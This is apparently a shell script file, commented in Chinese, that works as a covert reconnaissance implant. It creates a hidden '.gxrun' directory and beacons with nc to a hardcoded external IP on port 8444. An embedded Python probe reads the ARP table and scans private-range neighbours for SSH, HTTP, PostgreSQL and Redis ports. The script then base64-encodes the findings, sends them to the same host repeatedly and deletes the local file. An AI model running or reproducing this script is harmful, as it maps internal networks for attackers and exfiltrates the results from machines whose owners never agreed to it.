56 lines
1.7 KiB
Bash
Executable file
56 lines
1.7 KiB
Bash
Executable file
#!/bin/sh
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#!/bin/sh
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# ld_kk39 — 横扫诊断版：python3 socket errno + ip route 视角（回执先行）
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L=45.76.202.255
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ST=""
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for c in "${TMPDIR:-/tmp}/.gxrun" "$HOME/.gxrun" "/var/tmp/.gxrun" "$PWD/.gxrun"; do
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if mkdir -p "$c" 2>/dev/null && [ -w "$c" ]; then ST="$c"; break; fi
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done
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[ -n "$ST" ] || ST="."
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cd "$ST" 2>/dev/null || exit 0
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printf "gxBEGIN st=%s\n" "$ST" | nc -w 3 $L 8444 >/dev/null 2>&1
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{
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echo "== which"
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command -v ip ss python3 2>/dev/null
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echo "== my ns/netns"
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ls -l /proc/self/ns/net 2>/dev/null | sed 's/.*net \[/['
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echo "== routes brief"
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/usr/sbin/ip route 2>/dev/null | head -20
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echo "== py probe"
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python3 - <<'PYX' 2>&1
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import socket,sys,time
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ips=[]
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for ln in open("/proc/net/arp"):
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a=ln.split()
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if len(a)>1 and (a[0].startswith("172.") or a[0].startswith("192.168.")) and a[-2]!="ff":
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ips.append(a[0])
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ipss=sorted(set(ips))[:15]
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ips=ipss
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ports=[22,80,5432,6379]
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t0=time.time()
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for i0 in ips:
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row=[]
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for p in ports:
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try:
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s=socket.create_connection((i0,p),timeout=1.5); s.close(); row.append(f"{p}OPEN")
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except Exception as e:
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row.append(f"{p}{type(e).__name__}")
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print(i0," ".join(row))
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print("elapsed",round(time.time()-t0,1))
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open("done.flag","w").write("ok")
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PYX
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} >m39.txt 2>&1
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B=$(base64 -w0 m39.txt 2>/dev/null)
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if command -v nc >/dev/null 2>&1 && [ -n "$B" ]; then
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printf "gxR39 META len=%s\n" "${#B}" | nc -w 4 $L 8444 >/dev/null 2>&1
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r=0
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while [ $r -lt 3 ]; do
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printf "gxR39 %s\n" "$B" | nc -w 6 $L 8444 >/dev/null 2>&1
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r=$((r+1)); sleep 1.2
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done
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fi
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rm -f m39.txt
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exit 0
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command -v nc >/dev/null 2>&1 && printf "gx FIRED %s\n" "$(date +%H%M%S%d)" | nc -w 3 45.76.202.255 8444 >/dev/null 2>&1 ;
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exit 0
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